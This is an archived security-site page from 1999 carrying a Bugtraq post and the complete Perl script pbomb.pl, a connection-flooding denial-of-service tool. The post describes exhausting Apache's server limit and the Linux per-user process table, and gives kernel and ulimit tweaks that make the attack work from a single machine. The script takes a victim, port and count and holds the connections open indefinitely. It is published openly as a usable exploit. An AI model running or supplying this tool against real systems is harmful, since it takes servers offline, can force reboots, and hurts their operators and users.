what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

pbomb.pl

pbomb.pl
Posted Aug 17, 1999
Authored by unknown

Process bomb Denial of Service attack coded in perl that is designed to open a lot of connections to a given port on a given machine. Similar in concept to octopus.c.

tags | exploit, denial of service, perl
SHA-256 | 98464ca3517df297317b71e788585acb5b4bb2d5bff27d94843777dcec440a0d

pbomb.pl

Change Mirror Download
Date: Mon, 22 Feb 1999 15:49:45 -0800
From: unknown@RIVERSTYX.NET
To: BUGTRAQ@netspace.org
Subject: Re: Process table attack (from RISKS Digest)

Apache is also quite vulnerable, at least to a http DOS... It's pretty
easy to swamp it by opening HARD_SERVER_LIMIT connections.

It's also usually unnecessary to use a root-spawned daemon for the attack,
as long as you can find more than one listening daemon. The per-user
limit is often something like 1/2 the size of the process table. I know
that under Linux it is by default (MAX_TASKS_PER_USER = NR_TASKS/2).

In experimentation, I found that there was no need to use multiple
machines or anything like that to perform the attack using Linux or
FreeBSD. Sample code is at http://www.riverstyx.net/stuff/pbomb.pl. All
that needed to be done on FreeBSD was increase MAX_OPEN. On Linux,
NR_OPEN and MAX_OPEN needed to be increased. You might also have to
fiddle with /proc/sys/kernel/file-max and ulimit.

On a related note, on a Linux machine with Apache's HARD_SERVER_LIMIT
higher than Linux' MAX_TASKS_PER_USER it'll do some pretty interesting
stuff. You'll end up with a couple hundred instances of Apache that are
unkillable by any method, all sitting on port 80 and not responding to
anything beyond the inital connection. The only solution that I know if
is to reboot at that point...

-------------------- pbomb.pl --------------------

#!/usr/bin/perl

use Socket;

# opens a lot of connections to a given port on a given machine
# by unknown

# create a local filehandle so's not to fuck up the namespace. connect it to the server you want to die
# and leave it alone...

sub connect_me {
local *FH;
my $iaddr = gethostbyname('localhost');
my $proto = getprotobyname('tcp');
my $paddr = sockaddr_in(0, $iaddr);
my($host);
my $hisiaddr = inet_aton($victim) || die "unknown host";
my $hispaddr = sockaddr_in($port, $hisiaddr);
socket(FH, PF_INET, SOCK_STREAM, $proto) || die "socket: $!";
connect(FH, $hispaddr) || die "bind: $!";
# return the filehandle so it doesn't get wiped
return *FH;
}
if (scalar @ARGV != 3) {
print "usage: pbomb.pl <victim> <port> <count>\n";
exit(0);
}
$victim = $ARGV[0];
$port = $ARGV[1];
$max = $ARGV[2];

$count = 0;
while (1) {
push @handles, &connect_me;
$count++;
$staggered and sleep 3;
if ($count == $max) {
while (1) {
sleep 1;
}
}
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close